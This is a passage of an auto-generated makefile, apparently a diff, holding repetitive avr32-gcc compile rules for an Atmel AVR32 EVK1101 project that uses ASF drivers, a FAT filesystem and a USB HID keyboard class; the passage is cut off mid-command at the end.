-I"../src/asf/avr32/drivers/spi" -I"../src/asf/avr32/services/fs/fat" -I"../src/asf/avr32/services/fs/fat/fat_example" -I"../src/asf/avr32/utils" -I"../src/asf/avr32/utils/preprocessor" -I"../src/asf/common/boards" -I"../src/asf/common/services/storage/ctrl_access" -I"../src/asf/common/utils" -I"../src/config" -I"../src/asf/avr32/drivers/usbb" -I"../src/asf/common/services/sleepmgr" -I"../src/asf/common/services/clock" -I"../src/asf/common/services/usb" -I"../src/asf/common/services/usb/udc" -I"../src/asf/common/services/usb/class/hid" -I"../src/asf/common/services/usb/class/hid/device/kbd" -I"../src/asf/common/services/usb/class/hid/device" -I"../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi" -O1 -fdata-sections -ffunction-sections -g3 -Wall -c -std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax -MD -MP -MF "$(@:%.o=%.d)" -MT"$(@:%.o=%.d)" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + +src/asf/avr32/drivers/gpio/%.o: ../src/asf/avr32/drivers/gpio/%.c + @echo Building file: $< + @echo Invoking: AVR32/GNU C Compiler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -DBOARD=EVK1101 -I"../src" -I"../src/asf/avr32/boards" -I"../src/asf/avr32/boards/evk1101" -I"../src/asf/avr32/drivers/flashc" -I"../src/asf/avr32/drivers/gpio" -I"../src/asf/avr32/drivers/intc" -I"../src/asf/avr32/drivers/pm" -I"../src/asf/avr32/drivers/spi" -I"../src/asf/avr32/services/fs/fat" -I"../src/asf/avr32/services/fs/fat/fat_example" -I"../src/asf/avr32/utils" -I"../src/asf/avr32/utils/preprocessor" -I"../src/asf/common/boards" -I"../src/asf/common/services/storage/ctrl_access" -I"../src/asf/common/utils" -I"../src/config" -I"../src/asf/avr32/drivers/usbb" -I"../src/asf/common/services/sleepmgr" -I"../src/asf/common/services/clock" -I"../src/asf/common/services/usb" -I"../src/asf/common/services/usb/udc" -I"../src/asf/common/services/usb/class/hid" -I"../src/asf/common/services/usb/class/hid/device/kbd" -I"../src/asf/common/services/usb/class/hid/device" -I"../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi" -O1 -fdata-sections -ffunction-sections -g3 -Wall -c -std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax -MD -MP -MF "$(@:%.o=%.d)" -MT"$(@:%.o=%.d)" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + +src/asf/avr32/drivers/intc/%.o: ../src/asf/avr32/drivers/intc/%.c + @echo Building file: $< + @echo Invoking: AVR32/GNU C Compiler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -DBOARD=EVK1101 -I"../src" -I"../src/asf/avr32/boards" -I"../src/asf/avr32/boards/evk1101" -I"../src/asf/avr32/drivers/flashc" -I"../src/asf/avr32/drivers/gpio" -I"../src/asf/avr32/drivers/intc" -I"../src/asf/avr32/drivers/pm" -I"../src/asf/avr32/drivers/spi" -I"../src/asf/avr32/services/fs/fat" -I"../src/asf/avr32/services/fs/fat/fat_example" -I"../src/asf/avr32/utils" -I"../src/asf/avr32/utils/preprocessor" -I"../src/asf/common/boards" -I"../src/asf/common/services/storage/ctrl_access" -I"../src/asf/common/utils" -I"../src/config" -I"../src/asf/avr32/drivers/usbb" -I"../src/asf/common/services/sleepmgr" -I"../src/asf/common/services/clock" -I"../src/asf/common/services/usb" -I"../src/asf/common/services/usb/udc" -I"../src/asf/common/services/usb/class/hid" -I"../src/asf/common/services/usb/class/hid/device/kbd" -I"../src/asf/common/services/usb/class/hid/device" -I"../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi" -O1 -fdata-sections -ffunction-sections -g3 -Wall -c -std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax -MD -MP -MF "$(@:%.o=%.d)" -MT"$(@:%.o=%.d)" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + +src/asf/avr32/drivers/pm/%.o: ../src/asf/avr32/drivers/pm/%.c + @echo Building file: $< + @echo Invoking: AVR32/GNU C Compiler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -DBOARD=EVK1101 -I"../src" -I"../src/asf/avr32/boards" -I"../src/asf/avr32/boards/evk1101" -I"../src/asf/avr32/drivers/flashc" -I"../src/asf/avr32/drivers/gpio" -I"../src/asf/avr32/drivers/intc" -I"../src/asf/avr32/drivers/pm" -I"../src/asf/avr32/drivers/spi" -I"../src/asf/avr32/services/fs/fat" -I"../src/asf/avr32/services/fs/fat/fat_example" -I"../src/asf/avr32/utils" -I"../src/asf/avr32/utils/preprocessor" -I"../src/asf/common/boards" -I"../src/asf/common/services/storage/ctrl_access" -I"../src/asf/common/utils" -I"../src/config" -I"../src/asf/avr32/drivers/usbb" -I"../src/asf/common/services/sleepmgr" -I"../src/asf/common/services/clock" -I"../src/asf/common/services/usb" -I"../src/asf/common/services/usb/udc" -I"../src/asf/common/services/usb/class/hid" -I"../src/asf/common/services/usb/class/hid/device/kbd" -I"../src/asf/common/services/usb/class/hid/device" -I"../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi" -O1 -fdata-sections -ffunction-sections -g3 -Wall -c -std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax -MD -MP -MF "$(@:%.o=%.d)" -MT"$(@:%.o=%.d)" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + +src/asf/avr32/drivers/spi/%.o: ../src/asf/avr32/drivers/spi/%.c + @echo Building file: $< + @echo Invoking: AVR32/GNU C Compiler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -DBOARD=EVK1101 -I"../src" -I"../src/asf/avr32/boards" -I"../src/asf/avr32/boards/evk1101" -I"../src/asf/avr32/drivers/flashc" -I"../src/asf/avr32/drivers/gpio" -I"../src/asf/avr32/drivers/intc" -I"../src/asf/avr32/drivers/pm" -I"../src/asf/avr32/drivers/spi" -I"../src/asf/avr32/services/fs/fat" -I"../src/asf/avr32/services/fs/fat/fat_example" -I"../src/asf/avr32/utils" -I"../src/asf/avr32/utils/preprocessor" -I"../src/asf/common/boards" -I"../src/asf/common/services/storage/ctrl_access" -I"../src/asf/common/utils" -I"../src/config" -I"../src/asf/avr32/drivers/usbb" -I"../src/asf/common/services/sleepmgr" -I"../src/asf/common/services/clock" -I"../src/asf/common/services/usb" -I"../src/asf/common/services/usb/udc" -I"../src/asf/common/services/usb/class/hid" -I"../src/asf/common/services/usb/class/hid/device/kbd" -I"../src/asf/common/services/usb/class/hid/device" -I"../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi" -O1 -fdata-sections -ffunction-sections -g3 -Wall -c -std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax -MD -MP -MF "$(@:%.o=%.d)" -MT"$(@:%.o=%.d)" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + +src/asf/avr32/drivers/usbb/%.o: ../src/asf/avr32/drivers/usbb/%.c + @echo Building file: $< + @echo Invoking: AVR32/GNU C Compiler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -DBOARD=EVK1101 -I"../src" -I"../src/asf/avr32/boards" -I"../src/asf/avr32/boards/evk1101" -I"../src/asf/avr32/drivers/flashc" -I"../src/asf/avr32/drivers/gpio" -I"../src/asf/avr32/drivers/intc" -I"../src/asf/avr32/drivers/pm" -I"../src/asf/avr32/drivers/spi" -I"../src/asf/avr32/services/fs/fat" -I"../src/asf/avr32/services/fs/fat/fat_example" -I"../src/asf/avr32/utils" -I"../src/asf/avr32/utils/preprocessor" -I"../src/asf/common/boards" -I"../src/asf/common/services/storage/ctrl_access" -I"../src/asf/common/utils" -I"../src/config" -I"../src/asf/avr32/drivers/usbb" -I"../src/asf/common/services/sleepmgr" -I"../src/asf/common/services/clock" -I"../src/asf/common/services/usb" -I"../src/asf/common/services/usb/udc" -I"../src/asf/common/services/usb/class/hid" -I"../src/asf/common/services/usb/class/hid/device/kbd" -I"../src/asf/common/services/usb/class/hid/device" -I"../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi" -O1 -fdata-sections -ffunction-sections -g3 -Wall -c -std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax -MD -MP -MF "$(@:%.o=%.d)" -MT"$(@:%.o=%.d)" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + +src/asf/avr32/services/fs/fat/%.o: ../src/asf/avr32/services/fs/fat/%.c + @echo Building file: $< + @echo Invoking: AVR32/GNU C Compiler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -DBOARD=EVK1101 -I"../src" -I"../src/asf/avr32/boards" -I"../src/asf/avr32/boards/evk1101" -I"../src/asf/avr32/drivers/flashc" -I"../src/asf/avr32/drivers/gpio" -I"../src/asf/avr32/drivers/intc" -I"../src/asf/avr32/drivers/pm" -I"../src/asf/avr32/drivers/spi" -I"../src/asf/avr32/services/fs/fat" -I"../src/asf/avr32/services/fs/fat/fat_example" -I"../src/asf/avr32/utils" -I"../src/asf/avr32/utils/preprocessor" -I"../src/asf/common/boards" -I"../src/asf/common/services/storage/ctrl_access" -I"../src/asf/common/utils" -I"../src/config" -I"../src/asf/avr32/drivers/usbb" -I"../src/asf/common/services/sleepmgr" -I"../src/asf/common/services/clock" -I"../src/asf/common/services/usb" -I"../src/asf/common/services/usb/udc" -I"../src/asf/common/services/usb/class/hid" -I"../src/asf/common/services/usb/class/hid/device/kbd" -I"../src/asf/common/services/usb/class/hid/device" -I"../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi" -O1 -fdata-sections -ffunction-sections -g3 -Wall -c -std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax -MD -MP -MF "$(@:%.o=%.d)" -MT"$(@:%.o=%.d)" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + +src/asf/common/services/clock/uc3b0_b1/%.o: ../src/asf/common/services/clock/uc3b0_b1/%.c + @echo Building file: $< + @echo Invoking: AVR32/GNU C Compiler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -DBOARD=EVK1101 -I"../src" -I"../src/asf/avr32/boards" -I"../src/asf/avr32/boards/evk1101" -I"../src/asf/avr32/drivers/flashc" -I"../src/asf/avr32/drivers/gpio" -I"../src/asf/avr32/drivers/intc" -I"../src/asf/avr32/drivers/pm" -I"../src/asf/avr32/drivers/spi" -I"../src/asf/avr32/services/fs/fat" -I"../src/asf/avr32/services/fs/fat/fat_example" -I"../src/asf/avr32/utils" -I"../src/asf/avr32/utils/preprocessor" -I"../src/asf/common/boards" -I"../src/asf/common/services/storage/ctrl_access" -I"../src/asf/common/utils" -I"../src/config" -I"../src/asf/avr32/drivers/usbb" -I"../src/asf/common/services/sleepmgr" -I"../src/asf/common/services/clock" -I"../src/asf/common/services/usb" -I"../src/asf/common/services/usb/udc" -I"../src/asf/common/services/usb/class/hid" -I"../src/asf/common/services/usb/class/hid/device/kbd" -I"../src/asf/common/services/usb/class/hid/device" -I"../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi" -O1 -fdata-sections -ffunction-sections -g3 -Wall -c -std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax -MD -MP -MF "$(@:%.o=%.d)" -MT"$(@:%.o=%.d)" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + +src/asf/common/services/sleepmgr/uc3/%.o: ../src/asf/common/services/sleepmgr/uc3/%.c + @echo Building file: $< + @echo Invoking: AVR32/GNU C Compiler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -DBOARD=EVK1101 -I"../src" -I"../src/asf/avr32/boards" -I"../src/asf/avr32/boards/evk1101" -I"../src/asf/avr32/drivers/flashc" -I"../src/asf/avr32/drivers/gpio" -I"../src/asf/avr32/drivers/intc" -I"../src/asf/avr32/drivers/pm" -I"../src/asf/avr32/drivers/spi" -I"../src/asf/avr32/services/fs/fat" -I"../src/asf/avr32/services/fs/fat/fat_example" -I"../src/asf/avr32/utils" -I"../src/asf/avr32/utils/preprocessor" -I"../src/asf/common/boards" -I"../src/asf/common/services/storage/ctrl_access" -I"../src/asf/common/utils" -I"../src/config" -I"../src/asf/avr32/drivers/usbb" -I"../src/asf/common/services/sleepmgr" -I"../src/asf/common/services/clock" -I"../src/asf/common/services/usb" -I"../src/asf/common/services/usb/udc" -I"../src/asf/common/services/usb/class/hid" -I"../src/asf/common/services/usb/class/hid/device/kbd" -I"../src/asf/common/services/usb/class/hid/device" -I"../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi" -O1 -fdata-sections -ffunction-sections -g3 -Wall -c -std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax -MD -MP -MF "$(@:%.o=%.d)" -MT"$(@:%.o=%.d)" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + +src/asf/common/services/storage/ctrl_access/%.o: ../src/asf/common/services/storage/ctrl_access/%.c + @echo Building file: $< + @echo Invoking: AVR32/GNU C Compiler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -DBOARD=EVK1101 -I"../src" -I"../src/asf/avr32/boards" -I"../src/asf/avr32/boards/evk1101" -I"../src/asf/avr32/drivers/flashc" -I"../src/asf/avr32/drivers/gpio" -I"../src/asf/avr32/drivers/intc" -I"../src/asf/avr32/drivers/pm" -I"../src/asf/avr32/drivers/spi" -I"../src/asf/avr32/services/fs/fat" -I"../src/asf/avr32/services/fs/fat/fat_example" -I"../src/asf/avr32/utils" -I"../src/asf/avr32/utils/preprocessor" -I"../src/asf/common/boards" -I"../src/asf/common/services/storage/ctrl_access" -I"../src/asf/common/utils" -I"../src/config" -I"../src/asf/avr32/drivers/usbb" -I"../src/asf/common/services/sleepmgr" -I"../src/asf/common/services/clock" -I"../src/asf/common/services/usb" -I"../src/asf/common/services/usb/udc" -I"../src/asf/common/services/usb/class/hid" -I"../src/asf/common/services/usb/class/hid/device/kbd" -I"../src/asf/common/services/usb/class/hid/device" -I"../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi" -O1 -fdata-sections -ffunction-sections -g3 -Wall -c -std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax -MD -MP -MF "$(@:%.o=%.d)" -MT"$(@:%.o=%.d)" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + +src/asf/common/services/usb/class/hid/device/kbd/%.o: ../src/asf/common/services/usb/class/hid/device/kbd/%.c + @echo Building file: $< + @echo Invoking: AVR32/GNU C Compiler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -DBOARD=EVK1101 -I"../src" -I"../src/asf/avr32/boards" -I"../src/asf/avr32/boards/evk1101" -I"../src/asf/avr32/drivers/flashc" -I"../src/asf/avr32/drivers/gpio" -I"../src/asf/avr32/drivers/intc" -I"../src/asf/avr32/drivers/pm" -I"../src/asf/avr32/drivers/spi" -I"../src/asf/avr32/services/fs/fat" -I"../src/asf/avr32/services/fs/fat/fat_example" -I"../src/asf/avr32/utils" -I"../src/asf/avr32/utils/preprocessor" -I"../src/asf/common/boards" -I"../src/asf/common/services/storage/ctrl_access" -I"../src/asf/common/utils" -I"../src/config" -I"../src/asf/avr32/drivers/usbb" -I"../src/asf/common/services/sleepmgr" -I"../src/asf/common/services/clock" -I"../src/asf/common/services/usb" -I"../src/asf/common/services/usb/udc" -I"../src/asf/common/services/usb/class/hid" -I"../src/asf/common/services/usb/class/hid/device/kbd" -I"../src/asf/common/services/usb/class/hid/device" -I"../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi" -O1 -fdata-sections -ffunction-sections -g3 -Wall -c -std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax -MD -MP -MF "$(@:%.o=%.d)" -MT"$(@:%.o=%.d)" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + +src/asf/common/services/usb/class/hid/device/%.o: ../src/asf/common/services/usb/class/hid/device/%.c + @echo Building file: $< + @echo Invoking: AVR32/GNU C Compiler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -DBOARD=EVK1101 -I"../src" -I"../src/asf/avr32/boards" -I"../src/asf/avr32/boards/evk1101" -I"../src/asf/avr32/drivers/flashc" -I"../src/asf/avr32/drivers/gpio" -I"../src/asf/avr32/drivers/intc" -I"../src/asf/avr32/drivers/pm" -I"../src/asf/avr32/drivers/spi" -I"../src/asf/avr32/services/fs/fat" -I"../src/asf/avr32/services/fs/fat/fat_example" -I"../src/asf/avr32/utils" -I"../src/asf/avr32/utils/preprocessor" -I"../src/asf/common/boards" -I"../src/asf/common/services/storage/ctrl_access" -I"../src/asf/common/utils" -I"../src/config" -I"../src/asf/avr32/drivers/usbb" -I"../src/asf/common/services/sleepmgr" -I"../src/asf/common/services/clock" -I"../src/asf/common/services/usb" -I"../src/asf/common/services/usb/udc" -I"../src/asf/common/services/usb/class/hid" -I"../src/asf/common/services/usb/class/hid/device/kbd" -I"../src/asf/common/services/usb/class/hid/device" -I"../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi" -O1 -fdata-sections -ffunction-sections -g3 -Wall -c -std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax -MD -MP -MF "$(@:%.o=%.d)" -MT"$(@:%.o=%.d)" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + +src/asf/common/services/usb/udc/%.o: ../src/asf/common/services/usb/udc/%.c + @echo Building file: $< + @echo Invoking: AVR32/GNU C Compiler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -DBOARD=EVK1101 -I"../src" -I"../src/asf/avr32/boards" -I"../src/asf/avr32/boards/evk1101" -I"../src/asf/avr32/drivers/flashc" -I"../src/asf/avr32/drivers/gpio" -I"../src/asf/avr32/drivers/intc" -I"../src/asf/avr32/drivers/pm" -I"../src/asf/avr32/drivers/spi" -I"../src/asf/avr32/services/fs/fat" -I"../src/asf/avr32/services/fs/fat/fat_example" -I"../src/asf/avr32/utils" -I"../src/asf/avr32/utils/preprocessor" -I"../src/asf/common/boards" -I"../src/asf/common/services/storage/ctrl_access" -I"../src/asf/common/utils" -I"../src/config" -I"../src/asf/avr32/drivers/usbb" -I"../src/asf/common/services/sleepmgr" -I"../src/asf/common/services/clock" -I"../src/asf/common/services/usb" -I"../src/asf/common/services/usb/udc" -I"../src/asf/common/services/usb/class/hid" -I"../src/asf/common/services/usb/class/hid/device/kbd" -I"../src/asf/common/services/usb/class/hid/device" -I"../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi" -O1 -fdata-sections -ffunction-sections -g3 -Wall -c -std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax -MD -MP -MF "$(@:%.o=%.d)" -MT"$(@:%.o=%.d)" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + +src/%.o: ../src/%.c + @echo Building file: $< + @echo Invoking: AVR32/GNU C Compiler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -DBOARD=EVK1101 -I"../src" -I"../src/asf/avr32/boards" -I"../src/asf/avr32/boards/evk1101" -I"../src/asf/avr32/drivers/flashc" -I"../src/asf/avr32/drivers/gpio" -I"../src/asf/avr32/drivers/intc" -I"../src/asf/avr32/drivers/pm" -I"../src/asf/avr32/drivers/spi" -I"../src/asf/avr32/services/fs/fat" -I"../src/asf/avr32/services/fs/fat/fat_example" -I"../src/asf/avr32/utils" -I"../src/asf/avr32/utils/preprocessor" -I"../src/asf/common/boards" -I"../src/asf/common/services/storage/ctrl_access" -I"../src/asf/common/utils" -I"../src/config" -I"../src/asf/avr32/drivers/usbb" -I"../src/asf/common/services/sleepmgr" -I"../src/asf/common/services/clock" -I"../src/asf/common/services/usb" -I"../src/asf/common/services/usb/udc" -I"../src/asf/common/services/usb/class/hid" -I"../src/asf/common/services/usb/class/hid/device/kbd" -I"../src/asf/common/services/usb/class/hid/device" -I"../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi" -O1 -fdata-sections -ffunction-sections -g3 -Wall -c -std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax -MD -MP -MF "$(@:%.o=%.d)" -MT"$(@:%.o=%.d)" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + + + +# AVR32/GNU Preprocessing Assembler + +src/asf/avr32/drivers/intc/%.o: ../src/asf/avr32/drivers/intc/%.S + @echo Building file: $< + @echo Invoking: AVR32/GNU C Preprocessing Assembler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -x assembler-with-cpp -c -mrelax -I "../src" -I "../src/asf/avr32/boards" -I "../src/asf/avr32/boards/evk1101" -I "../src/asf/avr32/drivers/flashc" -I "../src/asf/avr32/drivers/gpio" -I "../src/asf/avr32/drivers/intc" -I "../src/asf/avr32/drivers/pm" -I "../src/asf/avr32/drivers/spi" -I "../src/asf/avr32/services/fs/fat" -I "../src/asf/avr32/services/fs/fat/fat_example" -I "../src/asf/avr32/utils" -I "../src/asf/avr32/utils/preprocessor" -I "../src/asf/common/boards" -I "../src/asf/common/services/storage/ctrl_access" -I "../src/asf/common/utils" -I "../src/config" -I "../src/asf/avr32/drivers/usbb" -I "../src/asf/common/services/sleepmgr" -I "../src/asf/common/services/clock" -I "../src/asf/common/services/usb" -I "../src/asf/common/services/usb/udc" -I "../src/asf/common/services/usb/class/hid" -I "../src/asf/common/services/usb/class/hid/device/kbd" -I "../src/asf/common/services/usb/class/hid/device" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + +src/asf/avr32/drivers/intc/%.o: ../src/asf/avr32/drivers/intc/%.x + @echo Building file: $< + @echo Invoking: AVR32/GNU C Preprocessing Assembler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -x assembler-with-cpp -c -mrelax -I "../src" -I "../src/asf/avr32/boards" -I "../src/asf/avr32/boards/evk1101" -I "../src/asf/avr32/drivers/flashc" -I "../src/asf/avr32/drivers/gpio" -I "../src/asf/avr32/drivers/intc" -I "../src/asf/avr32/drivers/pm" -I "../src/asf/avr32/drivers/spi" -I "../src/asf/avr32/services/fs/fat" -I "../src/asf/avr32/services/fs/fat/fat_example" -I "../src/asf/avr32/utils" -I "../src/asf/avr32/utils/preprocessor" -I "../src/asf/common/boards" -I "../src/asf/common/services/storage/ctrl_access" -I "../src/asf/common/utils" -I "../src/config" -I "../src/asf/avr32/drivers/usbb" -I "../src/asf/common/services/sleepmgr" -I "../src/asf/common/services/clock" -I "../src/asf/common/services/usb" -I "../src/asf/common/services/usb/udc" -I "../src/asf/common/services/usb/class/hid" -I "../src/asf/common/services/usb/class/hid/device/kbd" -I "../src/asf/common/services/usb/class/hid/device" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + +src/asf/avr32/drivers/intc/%.o: ../src/asf/avr32/drivers/intc/%.X + @echo Building file: $< + @echo Invoking: AVR32/GNU C Preprocessing Assembler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -x assembler-with-cpp -c -mrelax -I "../src" -I "../src/asf/avr32/boards" -I "../src/asf/avr32/boards/evk1101" -I "../src/asf/avr32/drivers/flashc" -I "../src/asf/avr32/drivers/gpio" -I "../src/asf/avr32/drivers/intc" -I "../src/asf/avr32/drivers/pm" -I "../src/asf/avr32/drivers/spi" -I "../src/asf/avr32/services/fs/fat" -I "../src/asf/avr32/services/fs/fat/fat_example" -I "../src/asf/avr32/utils" -I "../src/asf/avr32/utils/preprocessor" -I "../src/asf/common/boards" -I "../src/asf/common/services/storage/ctrl_access" -I "../src/asf/common/utils" -I "../src/config" -I "../src/asf/avr32/drivers/usbb" -I "../src/asf/common/services/sleepmgr" -I "../src/asf/common/services/clock" -I "../src/asf/common/services/usb" -I "../src/asf/common/services/usb/udc" -I "../src/asf/common/services/usb/class/hid" -I "../src/asf/common/services/usb/class/hid/device/kbd" -I "../src/asf/common/services/usb/class/hid/device" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + +src/asf/avr32/utils/startup/%.o: ../src/asf/avr32/utils/startup/%.S + @echo Building file: $< + @echo Invoking: AVR32/GNU C Preprocessing Assembler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -x assembler-with-cpp -c -mrelax -I "../src" -I "../src/asf/avr32/boards" -I "../src/asf/avr32/boards/evk1101" -I "../src/asf/avr32/drivers/flashc" -I "../src/asf/avr32/drivers/gpio" -I "../src/asf/avr32/drivers/intc" -I "../src/asf/avr32/drivers/pm" -I "../src/asf/avr32/drivers/spi" -I "../src/asf/avr32/services/fs/fat" -I "../src/asf/avr32/services/fs/fat/fat_example" -I "../src/asf/avr32/utils" -I "../src/asf/avr32/utils/preprocessor" -I "../src/asf/common/boards" -I "../src/asf/common/services/storage/ctrl_access" -I "../src/asf/common/utils" -I "../src/config" -I "../src/asf/avr32/drivers/usbb" -I "../src/asf/common/services/sleepmgr" -I "../src/asf/common/services/clock" -I "../src/asf/common/services/usb" -I "../src/asf/common/services/usb/udc" -I "../src/asf/common/services/usb/class/hid" -I "../src/asf/common/services/usb/class/hid/device/kbd" -I "../src/asf/common/services/usb/class/hid/device" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + +src/asf/avr32/utils/startup/%.o: ../src/asf/avr32/utils/startup/%.x + @echo Building file: $< + @echo Invoking: AVR32/GNU C Preprocessing Assembler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -x assembler-with-cpp -c -mrelax -I "../src" -I "../src/asf/avr32/boards" -I "../src/asf/avr32/boards/evk1101" -I "../src/asf/avr32/drivers/flashc" -I "../src/asf/avr32/drivers/gpio" -I "../src/asf/avr32/drivers/intc" -I "../src/asf/avr32/drivers/pm" -I "../src/asf/avr32/drivers/spi" -I "../src/asf/avr32/services/fs/fat" -I "../src/asf/avr32/services/fs/fat/fat_example" -I "../src/asf/avr32/utils" -I "../src/asf/avr32/utils/preprocessor" -I "../src/asf/common/boards" -I "../src/asf/common/services/storage/ctrl_access" -I "../src/asf/common/utils" -I "../src/config" -I "../src/asf/avr32/drivers/usbb" -I "../src/asf/common/services/sleepmgr" -I "../src/asf/common/services/clock" -I "../src/asf/common/services/usb" -I "../src/asf/common/services/usb/udc" -I "../src/asf/common/services/usb/class/hid" -I "../src/asf/common/services/usb/class/hid/device/kbd" -I "../src/asf/common/services/usb/class/hid/device" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + +src/asf/avr32/utils/startup/%.o: ../src/asf/avr32/utils/startup/%.X + @echo Building file: $< + @echo Invoking: AVR32/GNU C Preprocessing Assembler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -x assembler-with-cpp -c -mrelax -I "../src" -I "../src/asf/avr32/boards" -I "../src/asf/avr32/boards/evk1101" -I "../src/asf/avr32/drivers/flashc" -I "../src/asf/avr32/drivers/gpio" -I "../src/asf/avr32/drivers/intc" -I "../src/asf/avr32/drivers/pm" -I "../src/asf/avr32/drivers/spi" -I 